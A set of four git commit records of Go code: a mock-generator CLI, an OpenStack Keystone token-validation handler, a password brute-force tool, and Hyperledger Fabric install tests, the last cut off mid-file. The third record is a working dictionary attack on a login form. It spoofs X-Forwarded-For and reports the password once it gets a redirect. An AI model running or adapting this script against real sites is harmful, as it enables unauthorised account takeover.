<commit_before>// Copyright 2016 Peter Goetz
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package main

import (
	"io"
	"os"
	"path/filepath"

	"gopkg.in/alecthomas/kingpin.v2"

	"github.com/petergtz/pegomock/pegomock/mockgen"
	"github.com/petergtz/pegomock/pegomock/mockgen/util"
	"github.com/petergtz/pegomock/pegomock/watch"
)

var (
	app = kingpin.New("pegomock", "Generates mocks based on interfaces.")
)

func main() {
	Run(os.Args, os.Stderr, app, make(chan bool))
}

func Run(cliArgs []string, out io.Writer, app *kingpin.Application, done chan bool) {

	workingDir, err := os.Getwd()
	app.FatalIfError(err, "")

	var (
		generateCmd     = app.Command("generate", "Generate mocks based on the args provided. ")
		destination     = generateCmd.Flag("output", "Output file; defaults to mock_<interface>_test.go.").Short('o').String()
		packageOut      = generateCmd.Flag("package", "Package of the generated code; defaults to the package from which pegomock was executed suffixed with _test").Default(filepath.Base(workingDir) + "_test").String()
		selfPackage     = generateCmd.Flag("self_package", "If set, the package this mock will be part of.").String()
		debugParser     = generateCmd.Flag("debug", "Print debug information.").Short('d').Bool()
		generateCmdArgs = generateCmd.Arg("args", "A (optional) Go package path + space-separated interface or a .go file").Required().Strings()

		watchCmd       = app.Command("watch", "Watch ")
		watchRecursive = watchCmd.Flag("recursive", "TODO").Short('r').Hidden().Bool()
		watchPackages  = watchCmd.Arg("packages", "TODO").Strings()
	)

	app.Writer(out)
	switch kingpin.MustParse(app.Parse(cliArgs[1:])) {

	case generateCmd.FullCommand():
		if err := util.ValidateArgs(*generateCmdArgs); err != nil {
			app.FatalUsage(err.Error())
		}
		sourceArgs, err := util.SourceArgs(*generateCmdArgs, workingDir)
		if err != nil {
			app.FatalUsage(err.Error())
		}

		mockgen.GenerateMockFileInOutputDir(
			sourceArgs,
			workingDir,
			*destination,
			*packageOut,
			*selfPackage,
			*debugParser,
			out)

	case watchCmd.FullCommand():
		if len(*watchPackages) == 0 {
			watch.Watch([]string{workingDir}, *watchRecursive, done)
		} else {
			watch.Watch(*watchPackages, *watchRecursive, done)
		}
	}
}
<commit_msg>Add a comment to the unclear self_package flag<commit_after>// Copyright 2016 Peter Goetz
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package main

import (
	"io"
	"os"
	"path/filepath"

	"gopkg.in/alecthomas/kingpin.v2"

	"github.com/petergtz/pegomock/pegomock/mockgen"
	"github.com/petergtz/pegomock/pegomock/mockgen/util"
	"github.com/petergtz/pegomock/pegomock/watch"
)

var (
	app = kingpin.New("pegomock", "Generates mocks based on interfaces.")
)

func main() {
	Run(os.Args, os.Stderr, app, make(chan bool))
}

func Run(cliArgs []string, out io.Writer, app *kingpin.Application, done chan bool) {

	workingDir, err := os.Getwd()
	app.FatalIfError(err, "")

	var (
		generateCmd = app.Command("generate", "Generate mocks based on the args provided. ")
		destination = generateCmd.Flag("output", "Output file; defaults to mock_<interface>_test.go.").Short('o').String()
		packageOut  = generateCmd.Flag("package", "Package of the generated code; defaults to the package from which pegomock was executed suffixed with _test").Default(filepath.Base(workingDir) + "_test").String()
		// TODO: self_package was taken as is from GoMock.
		//       Still don't understand what it's really there for.
		//       So for now it's not tested.
		selfPackage     = generateCmd.Flag("self_package", "If set, the package this mock will be part of.").String()
		debugParser     = generateCmd.Flag("debug", "Print debug information.").Short('d').Bool()
		generateCmdArgs = generateCmd.Arg("args", "A (optional) Go package path + space-separated interface or a .go file").Required().Strings()

		watchCmd       = app.Command("watch", "Watch ")
		watchRecursive = watchCmd.Flag("recursive", "TODO").Short('r').Hidden().Bool()
		watchPackages  = watchCmd.Arg("packages", "TODO").Strings()
	)

	app.Writer(out)
	switch kingpin.MustParse(app.Parse(cliArgs[1:])) {

	case generateCmd.FullCommand():
		if err := util.ValidateArgs(*generateCmdArgs); err != nil {
			app.FatalUsage(err.Error())
		}
		sourceArgs, err := util.SourceArgs(*generateCmdArgs, workingDir)
		if err != nil {
			app.FatalUsage(err.Error())
		}

		mockgen.GenerateMockFileInOutputDir(
			sourceArgs,
			workingDir,
			*destination,
			*packageOut,
			*selfPackage,
			*debugParser,
			out)

	case watchCmd.FullCommand():
		if len(*watchPackages) == 0 {
			watch.Watch([]string{workingDir}, *watchRecursive, done)
		} else {
			watch.Watch(*watchPackages, *watchRecursive, done)
		}
	}
}
<|endoftext|>


<commit_before>// Copyright (c) 2016 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package identity

import (
	"net/http"

	"github.com/golang/glog"
	"github.com/gorilla/mux"
	"github.com/mitchellh/mapstructure"
	"github.com/rackspace/gophercloud"
	v3tokens "github.com/rackspace/gophercloud/openstack/identity/v3/tokens"
)

// Project holds project information extracted from the keystone response.
type Project struct {
	ID   string `mapstructure:"id"`
	Name string `mapstructure:"name"`
}

// RoleEntry contains the name of a role extracted from the keystone response.
type RoleEntry struct {
	Name string `mapstructure:"name"`
}

// Roles contains a list of role names extracted from the keystone response.
type Roles struct {
	Entries []RoleEntry
}

// Endpoint contains endpoint information extracted from the keystone response.
type Endpoint struct {
	ID        string `mapstructure:"id"`
	Region    string `mapstructure:"region"`
	Interface string `mapstructure:"interface"`
	URL       string `mapstructure:"url"`
}

// ServiceEntry contains information about a service extracted from the keystone response.
type ServiceEntry struct {
	ID        string     `mapstructure:"id"`
	Name      string     `mapstructure:"name"`
	Type      string     `mapstructure:"type"`
	Endpoints []Endpoint `mapstructure:"endpoints"`
}

// Services is a list of ServiceEntry structs
// These structs contain information about the services keystone knows about.
type Services struct {
	Entries []ServiceEntry
}

type getResult struct {
	v3tokens.GetResult
}

// extractProject
// Ideally we would actually contribute this functionality
// back to the gophercloud project, but for now we extend
// their object to allow us to get project information out
// of the response from the GET token validation request.
func (r getResult) extractProject() (*Project, error) {
	if r.Err != nil {
		glog.V(2).Info(r.Err)
		return nil, r.Err
	}

	// can there be more than one project?  You need to test.
	var response struct {
		Token struct {
			ValidProject Project `mapstructure:"project"`
		} `mapstructure:"token"`
	}

	err := mapstructure.Decode(r.Body, &response)
	if err != nil {
		glog.V(2).Info(err)
		return nil, err
	}

	return &Project{
		ID:   response.Token.ValidProject.ID,
		Name: response.Token.ValidProject.Name,
	}, nil
}

func (r getResult) extractServices() (*Services, error) {
	if r.Err != nil {
		glog.V(2).Info(r.Err)
		return nil, r.Err
	}

	var response struct {
		Token struct {
			Entries []ServiceEntry `mapstructure:"catalog"`
		} `mapstructure:"token"`
	}

	err := mapstructure.Decode(r.Body, &response)
	if err != nil {
		glog.Errorf(err.Error())
		return nil, err
	}

	return &Services{Entries: response.Token.Entries}, nil
}

// extractRole
// Ideally we would actually contribute this functionality
// back to the gophercloud project, but for now we extend
// their object to allow us to get project information out
// of the response from the GET token validation request.
func (r getResult) extractRoles() (*Roles, error) {
	if r.Err != nil {
		glog.V(2).Info(r.Err)
		return nil, r.Err
	}

	var response struct {
		Token struct {
			ValidRoles []RoleEntry `mapstructure:"roles"`
		} `mapstructure:"token"`
	}

	err := mapstructure.Decode(r.Body, &response)
	if err != nil {
		glog.V(2).Info(err)
		return nil, err
	}

	return &Roles{Entries: response.Token.ValidRoles}, nil
}

// validateServices
// Validates that a given user belonging to a tenant
// can access a service specified by its type and name.
func validateService(client *gophercloud.ServiceClient, token string, tenantID string, serviceType string, serviceName string) bool {
	r := v3tokens.Get(client, token)
	result := getResult{r}

	p, err := result.extractProject()
	if err != nil {
		return false
	}

	if p.ID != tenantID {
		glog.Errorf("expected %s got %s\n", tenantID, p.ID)
		return false
	}

	services, err := result.extractServices()
	if err != nil {
		return false
	}

	for _, e := range services.Entries {
		if e.Type == serviceType {
			if serviceName == "" {
				return true
			}

			if e.Name == serviceName {
				return true
			}
		}
	}

	return false
}

func validateProjectRole(client *gophercloud.ServiceClient, token string, project string, role string) bool {
	r := v3tokens.Get(client, token)
	result := getResult{r}
	p, err := result.extractProject()
	if err != nil {
		return false
	}

	if project != "" && p.Name != project {
		return false
	}

	roles, err := result.extractRoles()
	if err != nil {
		return false
	}

	for i := range roles.Entries {
		if roles.Entries[i].Name == role {
			return true
		}
	}
	return false
}

// checkToken verifies that given the token, the request is performed as
// a valid admin and that such token is consistent with the services
// attempted to be used in the received request
func (h Handler) checkToken(r *http.Request, tenant string, token string) bool {

	/* TODO Caching or PKI */
	for _, a := range h.ValidAdmins {
		if validateProjectRole(h.Client, token, a.Project, a.Role) == true {
			return true
		}
	}

	for _, s := range h.ValidServices {
		if validateService(h.Client, token, tenant, s.ServiceType, s.ServiceName) == true {
			return true
		} else if validateService(h.Client, token, tenant, s.ServiceType, "") == true {
			return true
		}

	}

	glog.V(2).Infof("Invalid token for [%s]", tenant)
	return false
}

func (h Handler) validateToken(r *http.Request) bool {

	token := r.Header["X-Auth-Token"]
	if len(token) == 0 {
		return false
	}

	vars := mux.Vars(r)
	tenantFromVars := vars["tenant"]

	// tenant may not exists on vars due to API endpoints URI lacking of
	// tenantID (such as the image service), for this case we need to
	// retrieve tenant from the given X-Auth-Token.
	res := v3tokens.Get(h.Client, token[0])
	result := getResult{res}
	p, err := result.extractProject()
	if err != nil {
		glog.V(2).Infof("Unable to retrieve tenant from token [%s]", token)
		return false
	}
	tenantFromToken := p.ID

	if tenantFromVars == "" {
		glog.V(2).Infof("Token validation for [%s]", tenantFromToken)
		return h.checkToken(r, tenantFromToken, token[0])
	}
	// verify that tenant from token is consistent with the tenant
	// obtained from the URI endpoint request
	if tenantFromVars != tenantFromToken {
		glog.Errorf("expected tenant %v, got %v\n", tenantFromToken, tenantFromVars)
		return false
	}

	glog.V(2).Infof("Token validation for [%s]", tenantFromVars)
	return h.checkToken(r, tenantFromVars, token[0])
}

// ValidService defines service name and type of the api service
type ValidService struct {
	ServiceType string
	ServiceName string
}

// ValidAdmin defines which project and roles are considered valid for admin.
type ValidAdmin struct {
	Project string
	Role    string
}

// Handler is a custom handler for APIs which would like keystone validation.
// This custom handler allows us to more cleanly return an error and response,
// and pass some package level context into the handler.
type Handler struct {
	Client        *gophercloud.ServiceClient
	Next          http.Handler
	ValidServices []ValidService
	ValidAdmins   []ValidAdmin
}

// ServeHTTP satisfies the http handler interface.
// It will check to make sure that the api caller is validated with
// keystone before allowing the next handler in the chain to be called.
func (h Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if h.validateToken(r) == false {
		http.Error(w, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
		return
	}

	h.Next.ServeHTTP(w, r)
}
<commit_msg>openstack: Reduce number of Keystone requests<commit_after>// Copyright (c) 2016 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package identity

import (
	"net/http"

	"github.com/golang/glog"
	"github.com/gorilla/mux"
	"github.com/mitchellh/mapstructure"
	"github.com/rackspace/gophercloud"
	v3tokens "github.com/rackspace/gophercloud/openstack/identity/v3/tokens"
)

// Project holds project information extracted from the keystone response.
type Project struct {
	ID   string `mapstructure:"id"`
	Name string `mapstructure:"name"`
}

// RoleEntry contains the name of a role extracted from the keystone response.
type RoleEntry struct {
	Name string `mapstructure:"name"`
}

// Roles contains a list of role names extracted from the keystone response.
type Roles struct {
	Entries []RoleEntry
}

// Endpoint contains endpoint information extracted from the keystone response.
type Endpoint struct {
	ID        string `mapstructure:"id"`
	Region    string `mapstructure:"region"`
	Interface string `mapstructure:"interface"`
	URL       string `mapstructure:"url"`
}

// ServiceEntry contains information about a service extracted from the keystone response.
type ServiceEntry struct {
	ID        string     `mapstructure:"id"`
	Name      string     `mapstructure:"name"`
	Type      string     `mapstructure:"type"`
	Endpoints []Endpoint `mapstructure:"endpoints"`
}

// Services is a list of ServiceEntry structs
// These structs contain information about the services keystone knows about.
type Services struct {
	Entries []ServiceEntry
}

type getResult struct {
	v3tokens.GetResult
}

// extractProject
// Ideally we would actually contribute this functionality
// back to the gophercloud project, but for now we extend
// their object to allow us to get project information out
// of the response from the GET token validation request.
func (r getResult) extractProject() (*Project, error) {
	if r.Err != nil {
		glog.V(2).Info(r.Err)
		return nil, r.Err
	}

	// can there be more than one project?  You need to test.
	var response struct {
		Token struct {
			ValidProject Project `mapstructure:"project"`
		} `mapstructure:"token"`
	}

	err := mapstructure.Decode(r.Body, &response)
	if err != nil {
		glog.V(2).Info(err)
		return nil, err
	}

	return &Project{
		ID:   response.Token.ValidProject.ID,
		Name: response.Token.ValidProject.Name,
	}, nil
}

func (r getResult) extractServices() (*Services, error) {
	if r.Err != nil {
		glog.V(2).Info(r.Err)
		return nil, r.Err
	}

	var response struct {
		Token struct {
			Entries []ServiceEntry `mapstructure:"catalog"`
		} `mapstructure:"token"`
	}

	err := mapstructure.Decode(r.Body, &response)
	if err != nil {
		glog.Errorf(err.Error())
		return nil, err
	}

	return &Services{Entries: response.Token.Entries}, nil
}

// extractRole
// Ideally we would actually contribute this functionality
// back to the gophercloud project, but for now we extend
// their object to allow us to get project information out
// of the response from the GET token validation request.
func (r getResult) extractRoles() (*Roles, error) {
	if r.Err != nil {
		glog.V(2).Info(r.Err)
		return nil, r.Err
	}

	var response struct {
		Token struct {
			ValidRoles []RoleEntry `mapstructure:"roles"`
		} `mapstructure:"token"`
	}

	err := mapstructure.Decode(r.Body, &response)
	if err != nil {
		glog.V(2).Info(err)
		return nil, err
	}

	return &Roles{Entries: response.Token.ValidRoles}, nil
}

// validateServices
// Validates that a given user belonging to a tenant
// can access a service specified by its type and name.
func validateService(tokenResult getResult, tenantID string, serviceType string, serviceName string) bool {

	p, err := tokenResult.extractProject()
	if err != nil {
		return false
	}

	if p.ID != tenantID {
		glog.Errorf("expected %s got %s\n", tenantID, p.ID)
		return false
	}

	services, err := tokenResult.extractServices()
	if err != nil {
		return false
	}

	for _, e := range services.Entries {
		if e.Type == serviceType {
			if serviceName == "" {
				return true
			}

			if e.Name == serviceName {
				return true
			}
		}
	}

	return false
}

func validateProjectRole(tokenResult getResult, project string, role string) bool {
	p, err := tokenResult.extractProject()
	if err != nil {
		return false
	}

	if project != "" && p.Name != project {
		return false
	}

	roles, err := tokenResult.extractRoles()
	if err != nil {
		return false
	}

	for i := range roles.Entries {
		if roles.Entries[i].Name == role {
			return true
		}
	}
	return false
}

// checkToken verifies that given the token, the request is performed as
// a valid admin and that such token is consistent with the services
// attempted to be used in the received request
func (h Handler) checkToken(r *http.Request, tenant string, tokenGetResult getResult) bool {

	/* TODO Caching or PKI */
	for _, a := range h.ValidAdmins {
		if validateProjectRole(tokenGetResult, a.Project, a.Role) == true {
			return true
		}
	}

	for _, s := range h.ValidServices {
		if validateService(tokenGetResult, tenant, s.ServiceType, s.ServiceName) == true {
			return true
		} else if validateService(tokenGetResult, tenant, s.ServiceType, "") == true {
			return true
		}

	}

	glog.V(2).Infof("Invalid token for [%s]", tenant)
	return false
}

func (h Handler) validateToken(r *http.Request) bool {

	token := r.Header["X-Auth-Token"]
	if len(token) == 0 {
		return false
	}

	vars := mux.Vars(r)
	tenantFromVars := vars["tenant"]

	// tenant may not exists on vars due to API endpoints URI lacking of
	// tenantID (such as the image service), for this case we need to
	// retrieve tenant from the given X-Auth-Token.
	res := v3tokens.Get(h.Client, token[0])
	tokenResult := getResult{res}
	p, err := tokenResult.extractProject()
	if err != nil {
		glog.V(2).Infof("Unable to retrieve tenant from token [%s]", token)
		return false
	}
	tenantFromToken := p.ID

	if tenantFromVars == "" {
		glog.V(2).Infof("Token validation for [%s]", tenantFromToken)
		return h.checkToken(r, tenantFromToken, tokenResult)
	}
	// verify that tenant from token is consistent with the tenant
	// obtained from the URI endpoint request
	if tenantFromVars != tenantFromToken {
		glog.Errorf("expected tenant %v, got %v\n", tenantFromToken, tenantFromVars)
		return false
	}

	glog.V(2).Infof("Token validation for [%s]", tenantFromVars)
	return h.checkToken(r, tenantFromVars, tokenResult)
}

// ValidService defines service name and type of the api service
type ValidService struct {
	ServiceType string
	ServiceName string
}

// ValidAdmin defines which project and roles are considered valid for admin.
type ValidAdmin struct {
	Project string
	Role    string
}

// Handler is a custom handler for APIs which would like keystone validation.
// This custom handler allows us to more cleanly return an error and response,
// and pass some package level context into the handler.
type Handler struct {
	Client        *gophercloud.ServiceClient
	Next          http.Handler
	ValidServices []ValidService
	ValidAdmins   []ValidAdmin
}

// ServeHTTP satisfies the http handler interface.
// It will check to make sure that the api caller is validated with
// keystone before allowing the next handler in the chain to be called.
func (h Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if h.validateToken(r) == false {
		http.Error(w, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
		return
	}

	h.Next.ServeHTTP(w, r)
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"net/http"
	"os"
	"flag"
	"net/url"
	"bufio"
	"bytes"
)

type Options struct {
	Host string
	Port int
	Uri  string
	From string
}

func ping(options *Options) {
	target := fmt.Sprintf("http://%s:%d", options.Host, options.Port)
	fmt.Printf("Pinging %s:%d ...", target)
	response, err := http.Get(target)

	if err != nil {
		fmt.Printf("%s\n", err)
		os.Exit(1)
	} else {
		defer response.Body.Close()
		fmt.Printf(" [%s]\n", response.Status)
	}
}

func loginAttack(options *Options) {
	target := fmt.Sprintf("http://%s:%d", options.Host, options.Port)
	endpoint := fmt.Sprintf("%s%s", target, options.Uri)
	fmt.Println("Starting login attack on", endpoint)

	file, err := os.Open("dictionary.txt")
	if err != nil {
		fmt.Println(err)
	}
	defer file.Close()

	var lines []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		lines = append(lines, scanner.Text())
	}

	for _, password := range lines {
		data := url.Values{}
		data.Set("inputEmail", "admin@example.com")
		data.Set("inputPassword", password)

		client := &http.Client{}
		request, _ := http.NewRequest("POST", endpoint, bytes.NewBufferString(data.Encode()))
		if options.From != "" {
			request.Header.Add("X-Forwarded-For", options.From)
		}
		response, _ := client.Do(request)
		defer response.Body.Close()

		fmt.Println(response.Status)
		if (response.StatusCode == 302) {
			fmt.Println("The password is:", password)
		}
	}
}

func main() {
	pingPtr := flag.Bool("ping", false, "Test to see if a host is available")
	hostPtr := flag.String("host", "", "Set the host")
	portPtr := flag.Int("port", 80, "Set the port")
	fromPtr := flag.String("from", "", "Set the X-Forwarded-For header")

	loginAttackPtr := flag.String("loginAttack", "", "Hit the login endpoint of an application")

	flag.Parse()

	options := new(Options)

	if *hostPtr != "" {
		options.Host = *hostPtr
	}

	if *portPtr != 0 {
		options.Port = *portPtr
	}

	if *loginAttackPtr != "" {
		options.Uri = *loginAttackPtr
	}

	if *fromPtr != "" {
		options.From = *fromPtr
	}

	if (options.Host == "" && options.Port == 0) {
		fmt.Println("Must supply a host and port")
		os.Exit(1)
	}

	if (*pingPtr == true) {
		ping(options)
		os.Exit(0)
	}

	if (*loginAttackPtr != "") {
		loginAttack(options)
		os.Exit(0)
	}
}
<commit_msg>Use roundtrip to avoid redirects<commit_after>package main

import (
	"fmt"
	"net/http"
	"os"
	"flag"
	"net/url"
	"bufio"
	"strings"
)

type Options struct {
	Host string
	Port int
	Uri  string
	From string
}

func ping(options *Options) {
	target := fmt.Sprintf("http://%s:%d", options.Host, options.Port)
	fmt.Printf("Pinging %s:%d ...", target)
	response, err := http.Get(target)

	if err != nil {
		fmt.Printf("%s\n", err)
		os.Exit(1)
	} else {
		defer response.Body.Close()
		fmt.Printf(" [%s]\n", response.Status)
	}
}

func loginAttack(options *Options) {
	target := fmt.Sprintf("http://%s:%d", options.Host, options.Port)
	endpoint := fmt.Sprintf("%s%s", target, options.Uri)
	fmt.Println("Starting login attack on", endpoint)

	file, err := os.Open("dictionary.txt")
	if err != nil {
		fmt.Println(err)
	}
	defer file.Close()

	var lines []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		lines = append(lines, scanner.Text())
	}

	for _, password := range lines {
		data := url.Values{}
		data.Set("inputEmail", "admin@example.com")
		data.Set("inputPassword", password)

		request, _ := http.NewRequest("POST", endpoint, strings.NewReader(data.Encode()))
		request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		if options.From != "" {
			request.Header.Add("X-Forwarded-For", options.From)
		}

		transport := http.Transport{}
		response, _ := transport.RoundTrip(request)
		defer response.Body.Close()

		if (response.StatusCode == 302) {
			fmt.Println("The password is:", password)
			os.Exit(0)
		}
	}
}

func main() {
	pingPtr := flag.Bool("ping", false, "Test to see if a host is available")
	hostPtr := flag.String("host", "", "Set the host")
	portPtr := flag.Int("port", 80, "Set the port")
	fromPtr := flag.String("from", "", "Set the X-Forwarded-For header")

	loginAttackPtr := flag.String("loginAttack", "", "Hit the login endpoint of an application")

	flag.Parse()

	options := new(Options)

	if *hostPtr != "" {
		options.Host = *hostPtr
	}

	if *portPtr != 0 {
		options.Port = *portPtr
	}

	if *loginAttackPtr != "" {
		options.Uri = *loginAttackPtr
	}

	if *fromPtr != "" {
		options.From = *fromPtr
	}

	if (options.Host == "" && options.Port == 0) {
		fmt.Println("Must supply a host and port")
		os.Exit(1)
	}

	if (*pingPtr == true) {
		ping(options)
		os.Exit(0)
	}

	if (*loginAttackPtr != "") {
		loginAttack(options)
		os.Exit(0)
	}
}
<|endoftext|>


<commit_before>/*
Copyright IBM Corp. All Rights Reserved.

SPDX-License-Identifier: Apache-2.0
*/

package chaincode

import (
	"fmt"
	"io/ioutil"
	"os"
	"testing"

	"github.com/hyperledger/fabric/peer/common"
	pb "github.com/hyperledger/fabric/protos/peer"

	"github.com/spf13/cobra"
	"github.com/spf13/viper"
)

func initInstallTest(fsPath string, t *testing.T) (*cobra.Command, *ChaincodeCmdFactory) {
	viper.Set("peer.fileSystemPath", fsPath)
	cleanupInstallTest(fsPath)

	//if mkdir fails everything will fail... but it should not
	if err := os.Mkdir(fsPath, 0755); err != nil {
		t.Fatalf("could not create install env")
	}

	InitMSP()

	signer, err := common.GetDefaultSigner()
	if err != nil {
		t.Fatalf("Get default signer error: %v", err)
	}

	mockCF := &ChaincodeCmdFactory{
		Signer: signer,
	}

	cmd := installCmd(mockCF)
	addFlags(cmd)

	return cmd, mockCF
}

func cleanupInstallTest(fsPath string) {
	os.RemoveAll(fsPath)
}

// TestBadVersion tests generation of install command
func TestBadVersion(t *testing.T) {
	fsPath := "/tmp/installtest"

	cmd, _ := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	args := []string{"-n", "example02", "-p", "github.com/hyperledger/fabric/examples/chaincode/go/example02/cmd"}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err == nil {
		t.Fatal("Expected error executing install command for version not specified")
	}
}

// TestNonExistentCC non existent chaincode should fail as expected
func TestNonExistentCC(t *testing.T) {
	fsPath := "/tmp/installtest"

	cmd, _ := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	args := []string{"-n", "badexample02", "-p", "github.com/hyperledger/fabric/examples/chaincode/go/bad_example02", "-v", "testversion"}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err == nil {
		t.Fatal("Expected error executing install command for bad chaincode")
	}

	if _, err := os.Stat(fsPath + "/chaincodes/badexample02.testversion"); err == nil {
		t.Fatal("chaincode example02.testversion should not exist")
	}
}

// TestInstallFromPackage installs using package
func TestInstallFromPackage(t *testing.T) {
	pdir := newTempDir()
	defer os.RemoveAll(pdir)

	ccpackfile := pdir + "/ccpack.file"
	err := createSignedCDSPackage([]string{"-n", "somecc", "-p", "some/go/package", "-v", "0", ccpackfile}, false)
	if err != nil {
		t.Fatalf("could not create package :%v", err)
	}

	fsPath := "/tmp/installtest"

	cmd, mockCF := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	mockResponse := &pb.ProposalResponse{
		Response:    &pb.Response{Status: 200},
		Endorsement: &pb.Endorsement{},
	}
	mockEndorserClient := common.GetMockEndorserClient(mockResponse, nil)
	mockCF.EndorserClients = []pb.EndorserClient{mockEndorserClient}

	args := []string{ccpackfile}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err != nil {
		t.Fatal("error executing install command from package")
	}
}

// TestInstallFromBadPackage tests bad package failure
func TestInstallFromBadPackage(t *testing.T) {
	pdir := newTempDir()
	defer os.RemoveAll(pdir)

	ccpackfile := pdir + "/ccpack.file"
	err := ioutil.WriteFile(ccpackfile, []byte("really bad CC package"), 0700)
	if err != nil {
		t.Fatalf("could not create package :%v", err)
	}

	fsPath := "/tmp/installtest"

	cmd, mockCF := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	//this should not reach the endorser which will respond with success
	mockResponse := &pb.ProposalResponse{
		Response:    &pb.Response{Status: 200},
		Endorsement: &pb.Endorsement{},
	}
	mockEndorserClient := common.GetMockEndorserClient(mockResponse, nil)
	mockCF.EndorserClients = []pb.EndorserClient{mockEndorserClient}

	args := []string{ccpackfile}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err == nil {
		t.Fatal("expected error installing bad package")
	}
}

func installEx02() error {
	signer, err := common.GetDefaultSigner()
	if err != nil {
		return fmt.Errorf("Get default signer error: %v", err)
	}

	mockResponse := &pb.ProposalResponse{
		Response:    &pb.Response{Status: 200},
		Endorsement: &pb.Endorsement{},
	}
	mockEndorserClients := []pb.EndorserClient{common.GetMockEndorserClient(mockResponse, nil)}
	mockCF := &ChaincodeCmdFactory{
		EndorserClients: mockEndorserClients,
		Signer:          signer,
	}

	cmd := installCmd(mockCF)
	addFlags(cmd)

	args := []string{"-n", "example02", "-p", "github.com/hyperledger/fabric/examples/chaincode/go/example02/cmd", "-v", "anotherversion"}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err != nil {
		return fmt.Errorf("Run chaincode upgrade cmd error:%v", err)
	}

	return nil
}

func TestInstall(t *testing.T) {
	InitMSP()
	if err := installEx02(); err != nil {
		t.Fatalf("Install failed with error: %v", err)
	}
}
<commit_msg>[FAB-10334] make unit-test fails locally on master<commit_after>/*
Copyright IBM Corp. All Rights Reserved.

SPDX-License-Identifier: Apache-2.0
*/

package chaincode

import (
	"fmt"
	"io/ioutil"
	"os"
	"testing"

	"github.com/hyperledger/fabric/peer/common"
	pb "github.com/hyperledger/fabric/protos/peer"

	"github.com/spf13/cobra"
	"github.com/spf13/viper"
)

func initInstallTest(fsPath string, t *testing.T) (*cobra.Command, *ChaincodeCmdFactory) {
	viper.Set("peer.fileSystemPath", fsPath)
	cleanupInstallTest(fsPath)

	//if mkdir fails everything will fail... but it should not
	if err := os.Mkdir(fsPath, 0755); err != nil {
		t.Fatalf("could not create install env")
	}

	InitMSP()

	signer, err := common.GetDefaultSigner()
	if err != nil {
		t.Fatalf("Get default signer error: %v", err)
	}

	mockCF := &ChaincodeCmdFactory{
		Signer: signer,
	}

	cmd := installCmd(mockCF)
	addFlags(cmd)

	return cmd, mockCF
}

func cleanupInstallTest(fsPath string) {
	os.RemoveAll(fsPath)
}

// TestBadVersion tests generation of install command
func TestBadVersion(t *testing.T) {
	fsPath := "/tmp/installtest"

	cmd, _ := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	args := []string{"-n", "example02", "-p", "github.com/hyperledger/fabric/examples/chaincode/go/example02/cmd"}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err == nil {
		t.Fatal("Expected error executing install command for version not specified")
	}
}

// TestNonExistentCC non existent chaincode should fail as expected
func TestNonExistentCC(t *testing.T) {
	fsPath := "/tmp/installtest"

	cmd, _ := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	args := []string{"-n", "badexample02", "-p", "github.com/hyperledger/fabric/examples/chaincode/go/bad_example02", "-v", "testversion"}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err == nil {
		t.Fatal("Expected error executing install command for bad chaincode")
	}

	if _, err := os.Stat(fsPath + "/chaincodes/badexample02.testversion"); err == nil {
		t.Fatal("chaincode example02.testversion should not exist")
	}
}

// TestInstallFromPackage installs using package
func TestInstallFromPackage(t *testing.T) {
	pdir := newTempDir()
	defer os.RemoveAll(pdir)

	ccpackfile := pdir + "/ccpack.file"
	err := createSignedCDSPackage([]string{"-n", "somecc", "-p", "some/go/package", "-v", "0", ccpackfile}, false)
	if err != nil {
		t.Fatalf("could not create package :%v", err)
	}

	fsPath := "/tmp/installtest"

	cmd, mockCF := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	mockResponse := &pb.ProposalResponse{
		Response:    &pb.Response{Status: 200},
		Endorsement: &pb.Endorsement{},
	}
	mockEndorserClient := common.GetMockEndorserClient(mockResponse, nil)
	mockCF.EndorserClients = []pb.EndorserClient{mockEndorserClient}

	args := []string{ccpackfile}
	cmd.SetArgs(args)

